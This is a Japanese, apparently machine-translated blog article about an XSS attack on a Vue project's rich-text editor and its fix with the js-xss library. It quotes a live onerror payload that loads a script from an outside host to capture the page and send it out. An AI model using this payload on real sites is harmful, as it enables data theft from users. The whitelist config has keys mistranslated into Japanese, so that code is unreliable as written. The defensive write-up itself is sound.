序文インターネットの急速な発展に伴い、情報セキュリティの問題は企業にとって最も懸念される焦点の 1 つとなっており、フロントエンドは企業のセキュリティ問題を引き起こす高リスクの拠点となっています。モバイル インターネットの時代では、フロントエンド担当者は、XSS や CSRF などの従来のセキュリティ問題に加えて、ネットワーク ハイジャックやハイブリッド API への不正な呼び出しなどの新しいセキュリティ問題に遭遇することがよくあります。もちろん、ブラウザ自体は常に進化と発展を続けており、セキュリティを強化するために CSP や Same-Site Cookies などの新しいテクノロジーを常に導入していますが、潜在的な脅威は依然として多く存在しており、フロントエンド技術者は絶えず「漏れをチェックし、ギャップを埋める」必要があります。 原因を発見するすべての責任はリッチ テキスト エディターにあります... テキスト フィールドは、ユーザーが写真を直接貼り付けられるように必要に応じてリッチ テキスト エディターに変更されましたが、これはインターネットから写真をアップロードするユーザーによる攻撃でした。 攻撃コード 1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS'; データがエコーされると、イメージはエラーを報告し、onerrorイベントを実行し、現在のページのスクリーンショットが撮られ、指定されたメールボックスに送信されます。 当初の解決策は、オンライン画像をアップロードするリッチ テキスト エディター メソッドを直接無効にすることでしたが、攻撃は再び繰り返されました。攻撃者は「fiddler」を使用してパラメータを変更し、同じ効果を実現しました。 最終的に、サードパーティの XSS 攻撃保護プラグインが使用され、バックエンドの戻りデータの送信と取得時にフィルタリングされるホワイトリストを構成することで問題が解決されました。 プラグインの中国語ドキュメントのアドレス: github.com/leizongmin/… npm インストール xss 「xss」からfilterXSSをインポートします カスタムフィルタリングルールフィルタリングのために xss() 関数を呼び出すときに、2 番目のパラメータを使用してカスタム ルールを設定できます。 options = {}; // カスタムルール html = filterXSS('<script>alert("xss");</script>', options); whiteList によって指定され、形式は次のようになります: {'タグ名': ['属性 1', '属性 2']}。ホワイトリストにないタグはフィルタリングされ、ホワイトリストにない属性もフィルタリングされます。 オプション = { stripIgnoreTagBody: true, // ホワイトリストにないタグとその内容は直接削除されます whiteList: { h1: ["スタイル"], h2: ["スタイル"], h3: ["スタイル"], h4: ["スタイル"], h5: ["スタイル"], h6: ["スタイル"], hr: ["スタイル"], 範囲: ["スタイル"], 強い: ["スタイル"], b: ["スタイル"], i: ["スタイル"], br: [], p: ["スタイル"], pre: ["スタイル"], コード: ["スタイル"], a: ["スタイル", "ターゲット", "href", "タイトル", "rel"], 画像: ["スタイル", "ソース", "タイトル"], div: ["スタイル"], テーブル: ["スタイル", "幅", "境界線"], tr: ["スタイル"], td: ["スタイル", "幅", "列幅"], th: ["スタイル", "幅", "列範囲"], tbody: ["スタイル"], ul: ["スタイル"], li: ["スタイル"], ol: ["スタイル"], dl: ["スタイル"], dt: ["スタイル"], em: ["スタイル"], 引用: ["スタイル"], セクション: ["スタイル"], ヘッダー: ["スタイル"], フッター: ["スタイル"], 引用ブロック: ["スタイル"], オーディオ: ["自動再生", "コントロール", "ループ", "プリロード", "src"], ビデオ: 「自動再生」、 「コントロール」、 "ループ"、 「プリロード」、 「ソース」、 "身長"、 "幅"、 ]、 }, css: { // 上記のホワイトリストではタグのスタイル属性が許可されているため、攻撃者がこのメソッドを使用して攻撃するのを防ぐ必要があります。ホワイトリスト: { 色: 真、 "背景色": true, 幅: true、 高さ: true、 「最大幅」:true、 「最大高さ」: true、 「最小幅」:true、 「最小高さ」: true、 「フォントサイズ」:true、 }, }, } コンテンツ = filterXSS(コンテンツ、オプション) 要約するVUE プロジェクトで発生した XSS 攻撃に関するこの記事はこれで終わりです。VUE プロジェクトの XSS 攻撃に関する関連記事については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。 以下もご興味があるかもしれません:
|
>>: PrometheusはGrafanaディスプレイを使用してMySQLを監視します
目次1. なぜ vue3 が必要なのでしょうか? 2. vue3の利点3. 応答原則の違い4. ライ...
目次1. HBuilderXビジュアルインターフェースを通じて2. vue-cliコマンドで実行する...
サーバーデータがSSL証明書を使用して暗号化および認証されていない場合、ユーザーのデータはプレーンテ...
目次1. Vueにおけるwatchの役割はその名の通り、監視の役割です。 2. このオブジェクトのプ...
目次シンプルファクトリーファクトリーメソッド安全な工場方法アブストラクトファクトリー要約するシンプル...
最近では、特定のフォルダ内の特定のファイルを自動的に検索する必要があり、ファイルパスとファイル名を別...
目次1. useStateフック2. useRefフック3. useRef と useState 4...
この記事では、例を使用して、MYSQL データベース テーブル構造を最適化する方法を説明します。ご参...
序文apt-get コマンドは、Ubuntu システムのパッケージ管理ツールです。パッケージのインス...
インターネットの発達により、バスを待ったり地下鉄に乗ったりする時間など、断片的な時間を活用して、いつ...
この記事では、MySQL の ROUND 関数を使用した丸め操作の落とし穴を例を使って説明します。ご...
コンポーネントの基本1 コンポーネントの再利用コンポーネントは再利用可能な Vue インスタンスです...
フォームを送信するときに、送信前に追加のパラメータが追加される状況が発生する場合があります。この問題...
この記事の例では、日付と時刻の選択を実装するための uniapp の具体的なコードを参考までに共有し...
私は2年間運用保守に携わり、多くのコマンドを使用しました。特定のLinuxコマンドを習得すると、どれ...